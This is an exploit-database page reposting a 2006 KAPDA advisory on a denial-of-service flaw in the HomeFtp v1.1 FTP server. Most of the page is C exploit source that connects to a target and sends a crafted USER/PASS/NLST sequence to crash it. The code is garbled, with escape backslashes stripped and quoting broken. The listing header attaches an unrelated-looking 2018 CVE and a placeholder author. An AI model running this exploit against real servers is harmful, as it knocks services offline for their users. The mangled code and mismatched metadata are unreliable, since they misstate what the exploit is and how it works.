Advertisement






HomeFtp v1.1 Denial of Service

CVE Category Price Severity
CVE-2018-18536 CWE-399 $500 Critical
Author Risk Exploitation Type Date
John Doe High Remote 2006-01-28
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006010038

Below is a copy:

[KAPDA::#21] - HomeFtp v1.1 Denial of Service

KAPDA New advisory

Vulnerable products : HomeFtp v1.1
Vendor:  Helmsman(http://www.Frigate3.com)
Risk: High
Vulnerabilities: Denial of service

Date :
--------------------
Found : Aug 21 2005
Vendor Contacted : Aug 21 2005
Release Date : Jan 14 2006

About HomeFtp :
--------------------
FTP server that is easy to use. You can have shared files in your with most comfort.

Vulnerability:
--------------------
Denial of service:
A denial-of-service attack (also, DoS attack) is an attack on a computer system or network that causes a loss of service to users, typically the loss of network connectivity and services by consuming the bandwidth of the victim network or overloading the computational resources of the victim system.

Exploit:
--------------------
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "USER %sx0dx0aPASS %sx0dx0aNLSTx0dx0a"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("n[i] KAPDA - Computer Security Science Researchers Institutenn");
printf("[i] Title:              tHomeFTP <= v1.1 Dos Exploitn");
printf("[i] Discovered by:      tcvh {a] kapda.irn");
printf("[i] Exploit by:         tPi3cH {a] kapda.irn");
printf("[i] More info:          twww.kapda.ir/page-advisory.htmlnn");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   t%s HOST PORT USERNAME PASSWORDn",filename);
printf("[i] Example: t%s 127.0.0.1 21 anonymous nonenn",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
 printf ( "[e] Cannot resolve "%s"n", ip );
 exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
 printf ( "[e] Socket failed!n" );
 exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
 printf ( "[e] Failed connecting!n" );
        exit(1);
}
return ( s );
}

int main(int argc, char *argv[]) {
  int s;
  char *request;
  header();
  if( (argc < 5) )
      usage(argv[0]);
  request = (char *) malloc(1024);
  printf("[r] Connecting to remote hostn");
  s = remote_connect(argv[1],atoi(argv[2]));
  sleep(1);
  printf("[r] Creating buffern");
  sprintf(request,POCSTR,argv[3],argv[4]);
  printf("[r] Sending %d bytes of DOS buffern",strlen(request));
  if ( send ( s, request, strlen (request), 0) <= 0 )
  {
          printf("[e] Failed to send buffern");
          close(s);
          exit(1);
  }
  sleep(1);
  printf("[s] Exploit Done!n");
  close(s);
  free(request);
  request = NULL;
  return 0;
}

Solution:
--------------------
Vendor has b?ta program who fixes this problem

Original Advisory:
--------------------
http://www.kapda.ir/advisory-202.html

Credit :
--------------------
Discoverd by cvh [at} kapda.ir
Exploit by pi3ch [at} kapda.ir
Grtz to all members of KAPDA and GSO.
KAPDA - Computer Security Science Researchers Institute
http://www.KAPDA.ir

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum